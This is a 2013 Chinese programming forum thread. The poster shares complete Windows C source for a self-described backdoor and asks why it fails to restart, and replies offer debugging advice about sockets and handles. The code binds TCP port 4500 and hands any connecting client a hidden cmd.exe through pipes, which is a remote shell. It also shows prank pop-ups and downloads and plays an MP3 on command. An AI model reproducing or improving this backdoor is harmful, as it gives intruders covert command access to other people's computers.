65,199
社区成员
发帖
与我相关
我的任务
分享多线程程序运行一次，关了之后，第二次就打不开了
// TwoPipeDoor.cpp : Defines the entry point for the application.
//
#include "stdafx.h"
#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <string.h>
#include <Urlmon.h>
#pragma comment(lib,"urlmon.lib")
#pragma comment(lib,"winmm.lib") //mciSendString的头文件
#include <mmsystem.h> //mciSendString的头文件
#include <direct.h> //创建文件夹的头文件
#include<direct.h>
#include <shellapi.h>
SOCKET sListen,sClient;
//定义管道句柄
HANDLE hReadPipe, hWritePipe, hWriteFile, hReadFile;
void audio(char MusicName[MAX_PATH])
{
char syspath[MAX_PATH];
memset(syspath, 0, MAX_PATH);
GetWindowsDirectory(syspath, MAX_PATH);
char path[MAX_PATH];
memset(path, 0, MAX_PATH);
wsprintf(path, "%s\\Media\\%s", syspath, MusicName);
char shortname[MAX_PATH];
memset(shortname, 0, MAX_PATH);
GetShortPathName(path, shortname, MAX_PATH);
char cmd[MAX_PATH];
memset(cmd, 0, MAX_PATH);
wsprintf(cmd, "play %s wait", shortname);
mciSendString(cmd, "", 0, NULL);
//Sleep(150000);
}
//判断文件是否存在
BOOL FileExists(LPCTSTR lpszFileName)
{
//得到文件属性
DWORD dwAttributes=GetFileAttributes(lpszFileName);
//函数调用成功则文件存在
if(dwAttributes==0xffffffff)
{
return false;
}
//否则文件不存在
else
{
return true;
}
}
//http下载文件
void download(char *Url,char *FilePath)
{
//删除已有文件
if(DeleteFile(FilePath))
{
printf("文件已存在，并且无法删除\n");
}
//下载文件
URLDownloadToFile(0,Url,FilePath,0,0);
//判断文件存不存在，以确定下载成有与否
if(FileExists(FilePath))
{
printf("文件下载成功\n%s\n\n", FilePath);
}
else
{
printf("文件下载失败\n%s\n\n", FilePath);
}
}
DWORD WINAPI Thread3( LPVOID lpParam )
{
MessageBox(NULL, TEXT("李建锋对你执行了关机命令!!!黑客编程雄起!!!"), TEXT("消息"), 0);
while(true)
{
char buff[MAX_PATH];
memset(buff, 0, MAX_PATH);
recv(sClient ,buff,MAX_PATH,0);
if(! strcmp(buff, "点歌"))
{
char Url[MAX_PATH] = "http://images1.fotop.net/albums6/waiyee/The_Peak/Goodbye_Police.mp3";
char FilePath[MAX_PATH];
memset(FilePath, 0, MAX_PATH); //声明数组之后的清理操作，防止数组出错
char moduleFileName[MAX_PATH];
memset(moduleFileName, 0, MAX_PATH);
GetModuleFileNameA(NULL, moduleFileName, MAX_PATH); //取得当前运行程序的路径（包括当前程序也在获得的路径当中）
char * p = strrchr(moduleFileName, '\\'); //从后往前找的数组moduleFileName中的第一个 \\
*p=0x00; //给数组moduleFileName的从后往前的第一个\\替换为0x00（0）
wsprintf(FilePath, "%s\\Goodbye_Police.mp3", moduleFileName);//往数组中合并字符串
download(Url, FilePath); //下载音乐
char shortname[MAX_PATH];
GetShortPathName(FilePath,shortname,MAX_PATH);//szFile就是路径，shortname就是Windows要转换成的简单路径名字
MessageBox(NULL, TEXT("《再见警察》好感人的歌，听听吧!!!点击开始播放。。。。。。 "), TEXT("我是你哥"), MB_ICONASTERISK);
char cmd[MAX_PATH + 10];
memset(cmd, 0, 255);
wsprintf(cmd, "play %s wait", shortname);
if(FileExists(FilePath))
{
mciSendString(cmd , "", 0, NULL);
}
else
{
MessageBox(NULL, TEXT("无法播放"), TEXT("无法播放"), 0);
}
}
}
return 0;
}
DWORD WINAPI Thread2(LPVOID lpParam)
{
SECURITY_ATTRIBUTES sa;
DWORD nByteToWrite, nByteWritten;
char recv_buff[1024];
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
//创建管道
CreatePipe(&hReadPipe,&hWriteFile,&sa,0);
while(true)
{
Sleep(250);
//接受远程cmd命令
nByteToWrite = recv(sClient ,recv_buff,1024,0);
//写入管道
WriteFile(hWriteFile,recv_buff,nByteToWrite,&nByteWritten,NULL);
}
return 0;
}
//读取管道1中的数据，返回给远程主机
DWORD WINAPI Thread1( LPVOID lpParam )
{
SECURITY_ATTRIBUTES sa;
DWORD len;
char send_buff[2048];
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
CreatePipe(&hReadFile,&hWritePipe,&sa,0);
while (true)
{
//读取管道中的数据
ReadFile(hReadFile,send_buff,2048,&len,NULL);
//把管道中的数据发送给远程主机
send(sClient,send_buff,len,0);
}
return 0;
}
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
char wMessage[512] = "\r\n======================== BackDoor by 认真的雪 ========================\r\n";
HANDLE hThread[3];
DWORD dwThreadIdA,dwThreadIdB;
PROCESS_INFORMATION pi;
STARTUPINFO si;
//初始化socket，并绑定本地端口监听
BYTE minorVer = 2;
BYTE majorVer = 2;
WSADATA wsaData;
WORD sockVersion = MAKEWORD(minorVer, majorVer);
if(WSAStartup(sockVersion, &wsaData) != 0)
return 0;
sListen = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sListen == INVALID_SOCKET)
{
printf("socket error \n");
return 0;
}
sockaddr_in sin;
sin.sin_family = AF_INET;
sin.sin_port = htons(4500);
sin.sin_addr.S_un.S_addr = INADDR_ANY;
if(bind(sListen, (LPSOCKADDR)&sin, sizeof(sin)) == SOCKET_ERROR)
{
printf("bind error \n");
return 0;
}
if(listen(sListen, 2) == SOCKET_ERROR)
{
printf("listen error \n");
return 0;
}
//接收连接
sClient = accept(sListen, NULL, NULL);
//创建两个进程，用于读取写入管道中的数据，实现通信
hThread[0]=CreateThread(NULL, 0, Thread1, NULL, 0, &dwThreadIdA);
hThread[1]=CreateThread(NULL, 0, Thread2, NULL, 0, &dwThreadIdB);
//hThread[2]=CreateThread(NULL, 0, Thread3, NULL, 0, &dwThreadIdC);
hThread[2]=CreateThread(NULL, 0, Thread3, NULL, 0, 0);
//暂停1秒,为了确保两个线程中的管道创建完毕，因为下面要对管道进行操作
Sleep(1000);
GetStartupInfo(&si);
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
//使cmd的输入输出和管道关联
si.hStdInput = hReadPipe;
si.hStdError = hWritePipe;
si.hStdOutput = hWritePipe;
si.wShowWindow = SW_HIDE;
char cmdline[256]={0};
//得到系统路径
GetSystemDirectory(cmdline,sizeof(cmdline));
strcat(cmdline,"\\cmd.exe");
//创建cmd进程
if (CreateProcess(cmdline, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi) == 0)
{
printf ("CreateProcess Error \n");
return 0;
}
//发送欢迎信息
send(sClient ,wMessage,strlen(wMessage),0);
//等待线程结束
WaitForMultipleObjects(3,hThread,true,INFINITE);
return 0;
}
...全文
请发表友善的回复…
发表回复
赵4老师 2013-01-29
- 打赏
- 举报
请检查所有函数的返回值，并及时显示GetLastError()。
特供调试多线程程序使用：
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef WIN32
#include <windows.h>
#include <io.h>
#else
#include <unistd.h>
#include <sys/time.h>
#include <pthread.h>
#define CRITICAL_SECTION pthread_mutex_t
#define _vsnprintf vsnprintf
#endif
//Log{
#define MAXLOGSIZE 20000000
#define MAXLINSIZE 16000
#include <time.h>
#include <sys/timeb.h>
#include <stdarg.h>
char logfilename1[]="MyLog1.log";
char logfilename2[]="MyLog2.log";
static char logstr[MAXLINSIZE+1];
char datestr[16];
char timestr[16];
char mss[4];
CRITICAL_SECTION cs_log;
FILE *flog;
#ifdef WIN32
void Lock(CRITICAL_SECTION *l) {
EnterCriticalSection(l);
}
void Unlock(CRITICAL_SECTION *l) {
LeaveCriticalSection(l);
}
#else
void Lock(CRITICAL_SECTION *l) {
pthread_mutex_lock(l);
}
void Unlock(CRITICAL_SECTION *l) {
pthread_mutex_unlock(l);
}
#endif
void LogV(const char *pszFmt,va_list argp) {
struct tm *now;
struct timeb tb;
if (NULL==pszFmt||0==pszFmt[0]) return;
_vsnprintf(logstr,MAXLINSIZE,pszFmt,argp);
ftime(&tb);
now=localtime(&tb.time);
sprintf(datestr,"%04d-%02d-%02d",now->tm_year+1900,now->tm_mon+1,now->tm_mday);
sprintf(timestr,"%02d:%02d:%02d",now->tm_hour ,now->tm_min ,now->tm_sec );
sprintf(mss,"%03d",tb.millitm);
printf("%s %s.%s %s",datestr,timestr,mss,logstr);
flog=fopen(logfilename1,"a");
if (NULL!=flog) {
fprintf(flog,"%s %s.%s %s",datestr,timestr,mss,logstr);
if (ftell(flog)>MAXLOGSIZE) {
fclose(flog);
if (rename(logfilename1,logfilename2)) {
remove(logfilename2);
rename(logfilename1,logfilename2);
}
} else {
fclose(flog);
}
}
}
void Log(const char *pszFmt,...) {
va_list argp;
Lock(&cs_log);
va_start(argp,pszFmt);
LogV(pszFmt,argp);
va_end(argp);
Unlock(&cs_log);
}
//Log}
int main(int argc,char * argv[]) {
int i;
#ifdef WIN32
InitializeCriticalSection(&cs_log);
#else
pthread_mutex_init(&cs_log,NULL);
#endif
for (i=0;i<10000;i++) {
Log("This is a Log %04d from FILE:%s LINE:%d\n",i, __FILE__, __LINE__);
}
#ifdef WIN32
DeleteCriticalSection(&cs_log);
#else
pthread_mutex_destroy(&cs_log);
#endif
return 0;
}
羽飞 2013-01-29
- 打赏
- 举报
嗯，是的，如果第一次能运行，就是肯定编译通过的，但是第二次运行时不能运行，肯定会有哪个函数报错的，应该仔细检查一下
翅膀又硬了 2013-01-29
- 打赏
- 举报
嗯，有。足以说明你那程序没完全退出。
翅膀又硬了 2013-01-28
- 打赏
- 举报
这个不算后门吧，测试能不能连接上某个端口都用这个。。。我试过，都能连上。 另外我也送你一个后门哈 cmd 输入 netstat -an 回车 可以看看TCP4500端口有没有被监听
llkoio 2013-01-28
- 打赏
- 举报
这是个后门，那你试试，cmd中输telnet，然后telnet中输open 本机ip 4500 看看能连接吗
翅膀又硬了 2013-01-28
- 打赏
- 举报
我在我电脑上编译了你的程序，没发现你所说的问题。我这直接点关闭就关了，再开还能开
llkoio 2013-01-28
- 打赏
- 举报
我是新手，句柄怎么关闭啊
llkoio 2013-01-28
- 打赏
- 举报
就是用任务管理关的进程，但是第二次就是启动不了
llkoio 2013-01-28
- 打赏
- 举报
第二次打不开是不是和这个有关系
llkoio 2013-01-28
- 打赏
- 举报
编译能通过
ouyh12345 2013-01-28
- 打赏
- 举报
是不是有句柄没关闭？
翅膀又硬了 2013-01-28
- 打赏
- 举报
不知道3分钟怎么来的。。。楼主应该用任务管理器看看，程序关闭了，是不是有的相关进程没退出。强制结束了再试试。 你那线程函数都是用while(true)做循环，没法退出的
赵4老师 2013-01-28
- 打赏
- 举报
CloseHandle
The CloseHandle function closes an open object handle.
BOOL CloseHandle(
HANDLE hObject // handle to object to close
);
Parameters
hObject
Handle to an open object.
Return Values
If the function succeeds, the return value is nonzero.
If the function fails, the return value is zero. To get extended error information, call GetLastError.
Remarks
The CloseHandle function closes handles to the following objects:
Communications device
Console input
Console screen buffer
Event
File
File mapping
Job
Mailslot
Mutex
Named pipe
Process
Semaphore
Socket
Thread
Token
CloseHandle invalidates the specified object handle, decrements the object's handle count, and performs object retention checks. After the last handle to an object is closed, the object is removed from the system.
Closing a thread handle does not terminate the associated thread. To remove a thread object, you must terminate the thread, then close all handles to the thread.
Use CloseHandle to close handles returned by calls to the CreateFile function. Use FindClose to close handles returned by calls to the FindFirstFile function.
Closing an invalid handle raises an exception. This includes closing a handle twice, not checking the return value and closing an invalid handle, and using CloseHandle on a handle returned by FindFirstFile.
Windows CE: Windows CE does not support closing handles to the following objects:
Console input or output
File mapping
Named pipe
Semaphore
Token
QuickInfo
Windows NT: Requires version 3.1 or later.
Windows: Requires Windows 95 or later.
Windows CE: Requires version 1.0 or later.
Header: Declared in winbase.h.
Import Library: Use kernel32.lib.
See Also
Handles and Objects Overview, Handle and Object Functions, CreateFile, DeleteFile, FindClose, FindFirstFile
赵4老师 2013-01-28
- 打赏
- 举报
CloseHandle
llkoio 2013-01-28
- 打赏
- 举报
额，这确实是后门，只是还不太完善，但大体功能有了，小弟初学，不要见笑，句柄怎么结束呢
羽飞 2013-01-27
- 打赏
- 举报
对头，程序运行失败的时候要看看报的错误是什么
northwesternwind 2013-01-27
- 打赏
- 举报
大半是socket问题。等3分钟之后再启动
